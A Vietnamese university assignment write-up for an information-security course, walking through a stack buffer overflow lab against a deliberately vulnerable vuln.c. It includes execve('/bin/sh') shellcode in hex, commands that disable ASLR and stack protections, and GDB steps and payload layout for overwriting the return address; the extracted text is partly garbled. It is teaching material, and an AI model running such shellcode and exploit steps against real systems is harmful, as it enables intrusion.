Thực hiện tấn công buffer overflow chương trình vuln.c, code có ở github | Bài tập môn An toàn thông tin Trường đại học sư phạm kỹ thuật TP. Hồ Chí Minh
3. Thực hiện:- Trước khi tấn công, chúng ta cần điều chỉnh và tắt 1 số chức năng bảo vệ của hệ điều hành; Tắt chế độ cấp phát địa chỉ stack ngẫu nhiên (sudo sysctl -wkernel.randomization_va_space=0). Biên dịch chương trình với các option tắt cơ chế bảo vệ stack thực thi code trên stack. Tài liệu giúp bạn tham khảo, ôn tập và đạt kết quả cao. Mời bạn đọc đón xem!
Môn: An toàn thông tin (INSE330380)
Trường: Đại học Sư phạm Kỹ thuật Thành phố Hồ Chí Minh
Thông tin:
Tác giả:
Preview text:
1. Đề bài:
- Thực hiện tấn công buffer overflow chương trình vuln.c, code có ở github.
- SV tự chọn giá trị của buffer từ 80 - 512 (không lấy giá trị 64).
- Chụp màn hình các bước thực hiện + giải thích. - Nộp file PDF.
Chương trình cần tấn công: #include #include
int main(int argc, char* argv[]) { char buf[20 ] 4 ; if (argc==1)
printf("missing argument\n"); else strcpy(buf,argv[1]);
printf("buf: 0x%x\n",(unsigned int)buf); return 0; } 2. Ý tưởng
- Dùng 1 đoạn shellcode với dãy hexx là:
“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\
x31\xd2\x31\xc0\xb0\x0b\xcd\x80”
- Viết đè shellcode lên biến ‘char buf[204]’ và khéo léo ghi đè cả return address ở
thanh ghi EIP thành địa chỉ bắt đầu của shell code (vị trí bắt đầu của buf[204]) High … Return Address (Eip) Ebp
Lấy địa chỉ bắt đầu của Buf[204]
Buf[204] (shellcode) ghi …
đè lên ReturnAddress … ESP Buf[204] Low Stack
Stack của chương trình khi đư c ợ nạp Giải thích: N
hững local value của hàm main sẽ được nạp vào trước, tiếp theo là Eb p
được push vào, sau đó sẽ là return address (Eip) và các argument được truyền vào.
3. Thực hiện:
- Trước khi tấn công, chúng ta cần điều chỉnh và tắt 1 số chức năng bảo vệ của hệ điều hành:
Tắt chế độ cấp phát địa chỉ stack ngẫu nhiên.
(sudo sysctl -w kernel.randomization_va_space=0)
Biên dịch chương trình với các option tắt cơ chế bảo vệ stack và cho phép thực thi code trên stack.
(-fno-stack-protector -z execstack -mpreferred-stack-boundary=2)
Liên kết tới zsh thay vì dash mặc định nhằm tắt tính năng bash
countermeasures của Ubuntu 16.04.
(sudo ln -sf /bin/zsh /bin/sh)
Thực hiện dùng GDB
✓ Bước 1: Tìm chiều dài của buf[], ở đây ta đã chọn là [204] nên không cần thực hiện bước này.
✓ Bước 2: Tìm địa chỉ bắt đầu của shellcode và thực hiện tấn công.
+ Vào GDB -> đặt breakpoit tại vị trí gần cuối chương trình (*main +71)
+ Run chương trình với buf tấn công: 27byte shellcode + (204-27)byte giá
trị a+ (4 byte) b cho ebp + ‘\xff\xff\xff\xff’ và sau đó xem giá trị của stack
➔ Khi tìm được địa chỉ của shellcode sẽ thay vào \xff\xff\xff\xff (vị trí Eip
hay địa chỉ trả về của stack) Địa chỉ bắt đầu của shellcode 204 – 27 = 177 byte ‘a’ 4 byte ‘b’ (Ebp) 4 byte địa chỉ trả về (mục tiêu để ta ghi đè) + Dùng câu lệnh:
set *0xffffdc2c = 0xffffdb5c
(ghi đè Eip = địa chỉ của
shellcode bắt đầu từ địa chỉ 0xffffdc2c) Ghi đè thành công
Kết quả: Chạy được 1 shell mới.
Thực hiện không dùng GDB
Bước 1: Tìm địa chỉ bắt đầu shellcode (địa chỉ buf[204]) dùng câu lệnh
printf("buf: 0x%x\n",(unsigned int)buf) và đảm bảo rằng địa chỉ của buf
không thay đổi mỗi lần chạy.
➢ Ta sẽ sử dụng chuỗi buffer nhập vào: “27byte shellcode” + “177byte
giá trị bất kỳ” (buffer) + “4byte giá trị bất kỳ” (ebp) + “4byte địa chỉ
bất kỳ” (return address)
Bước 2: Thực hiện tấn công với dòng lệnh thay thế 4byte địa chỉ bất kỳ
bằng địa chỉ của buf.
“27byte shellcode” + “177byte giá trị bất kỳ” + “4byte giá trị bất kỳ”
(ebp) + “\xcc\xdb\xff\xff” (return address)
Và ta nhận được kết quả tương tự.